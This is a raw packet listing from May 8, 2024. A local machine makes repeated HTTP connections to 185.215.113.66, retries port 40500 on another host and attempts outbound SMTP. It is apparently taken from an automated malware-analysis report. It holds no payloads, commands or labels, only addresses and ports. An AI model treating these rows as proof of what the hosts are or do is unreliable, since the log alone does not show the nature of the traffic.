May 8, 2024 15:22:45.810729027 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810759068 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810786009 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810798883 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810828924 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810843945 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.997051954 CEST	49714	40500	192.168.2.8	93.117.37.145
May 8, 2024 15:22:46.024343967 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.160867929 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.160960913 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.160981894 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161009073 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161017895 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161022902 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161036015 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161050081 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161056042 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161063910 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161077023 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161102057 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161133051 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161169052 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161186934 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161200047 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161206007 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161214113 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161226988 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161237001 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161241055 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161261082 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161266088 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161273956 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161288023 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161288023 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161300898 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161313057 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161317110 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161328077 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161335945 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161348104 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161361933 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161375046 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161431074 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161442995 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161456108 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161468029 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161478043 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161482096 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161494970 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161508083 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161509991 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161523104 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161546946 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161565065 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161571980 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161583900 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161597013 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.161612988 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.161633968 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.391870022 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.392044067 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.392240047 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.732409000 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.732431889 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.732445955 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.732458115 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.732472897 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.732485056 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.732523918 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.732553959 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.733243942 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.733258963 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.733270884 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.733284950 CEST	80	49715	185.215.113.66	192.168.2.8
May 8, 2024 15:22:46.733293056 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.733309031 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.733339071 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.734611034 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.734716892 CEST	49715	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:46.996273994 CEST	49714	40500	192.168.2.8	93.117.37.145
May 8, 2024 15:22:47.747303963 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.088469982 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.088701963 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.088958025 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.336191893 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.336513996 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.428639889 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.428845882 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.428893089 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.428941965 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.428972006 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.428985119 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.428998947 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.429016113 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.429682970 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.429697990 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.429728031 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.429739952 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.429753065 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.429760933 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.429786921 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.679151058 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.679256916 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.681411982 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:48.681498051 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.681726933 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:48.996336937 CEST	49714	40500	192.168.2.8	93.117.37.145
May 8, 2024 15:22:49.023998022 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024024010 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024044991 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024104118 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024122000 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024142027 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024156094 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024158001 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024158001 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024173975 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024183035 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024188995 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024203062 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024209023 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024233103 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024250984 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024271011 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.024276972 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.024311066 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366421938 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366446972 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366461039 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366502047 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366532087 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366589069 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366640091 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366869926 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366883993 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366899014 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366911888 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366914988 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366926908 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366935015 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.366940975 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366954088 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.366959095 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367079020 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367115974 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367115974 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367149115 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367162943 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367173910 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367181063 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367182016 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367199898 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367211103 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367234945 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367258072 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367271900 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367296934 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367311001 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367326021 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.367327929 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367352009 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.367367029 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.710354090 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.710437059 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.710464954 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.710505009 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.710923910 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.710944891 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.710978031 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.710992098 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.710999012 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711007118 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711031914 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711034060 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711054087 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711072922 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711131096 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711146116 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711157084 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711169958 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711183071 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711184025 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711196899 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711205006 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711225986 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711236000 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711296082 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711322069 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711369038 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711393118 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711405993 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711419106 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711431026 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711437941 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711455107 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711477995 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711484909 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711493015 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711508036 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711524010 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711539984 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711580038 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711594105 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711606026 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711630106 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711641073 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711651087 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711662054 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711675882 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711688042 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711698055 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711702108 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711715937 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711718082 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711729050 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711741924 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711745024 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711759090 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:49.711760998 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711795092 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:49.711836100 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:51.787626982 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129396915 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129470110 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129484892 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129498005 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129512072 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129524946 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129538059 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129547119 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129586935 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129610062 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129642010 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129668951 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129686117 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129700899 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129725933 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129740000 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129753113 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129765987 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129766941 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129787922 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129815102 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129935026 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.129982948 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.129988909 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.130028009 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.130131006 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.130143881 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.130156994 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.130170107 CEST	80	49717	185.215.113.66	192.168.2.8
May 8, 2024 15:22:52.130187988 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.130212069 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.130676985 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.130712986 CEST	49717	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:52.996356010 CEST	49714	40500	192.168.2.8	93.117.37.145
May 8, 2024 15:22:53.146251917 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.487663984 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.487749100 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.487994909 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829154015 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829191923 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829261065 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829298973 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829318047 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829340935 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829349041 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829361916 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829376936 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829379082 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829390049 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829396963 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829412937 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829413891 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829433918 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829457998 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829516888 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829591990 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:53.829627991 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:53.829665899 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.169622898 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169639111 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169651985 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169666052 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169680119 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169724941 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169769049 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.169775009 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169787884 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.169816971 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.169852018 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.529365063 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869045973 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869136095 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869206905 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869239092 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869271040 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869303942 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869362116 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869374037 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869386911 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869417906 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869431019 CEST	80	49716	185.215.113.66	192.168.2.8
May 8, 2024 15:22:54.869494915 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869494915 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869494915 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.869494915 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.870213985 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:54.870281935 CEST	49716	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:55.872432947 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.215188026 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.215296984 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.215485096 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.560861111 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561414957 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561429977 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561443090 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561477900 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.561491966 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561501026 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.561506987 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561547995 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.561968088 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561980963 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.561992884 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:22:56.562026024 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:56.562050104 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:59.823158026 CEST	49720	25	192.168.2.8	67.195.228.94
May 8, 2024 15:23:00.527477980 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:00.824408054 CEST	49720	25	192.168.2.8	67.195.228.94
May 8, 2024 15:23:00.867501020 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867768049 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867784977 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867800951 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867819071 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867862940 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867877960 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867892981 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.867907047 CEST	80	49718	185.215.113.66	192.168.2.8
May 8, 2024 15:23:00.868067026 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:00.868067026 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:00.868942022 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:00.868966103 CEST	49718	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:00.996284962 CEST	49714	40500	192.168.2.8	93.117.37.145
May 8, 2024 15:23:01.872416019 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.215249062 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.215430975 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.218699932 CEST	49721	80	192.168.2.8	185.215.113.66
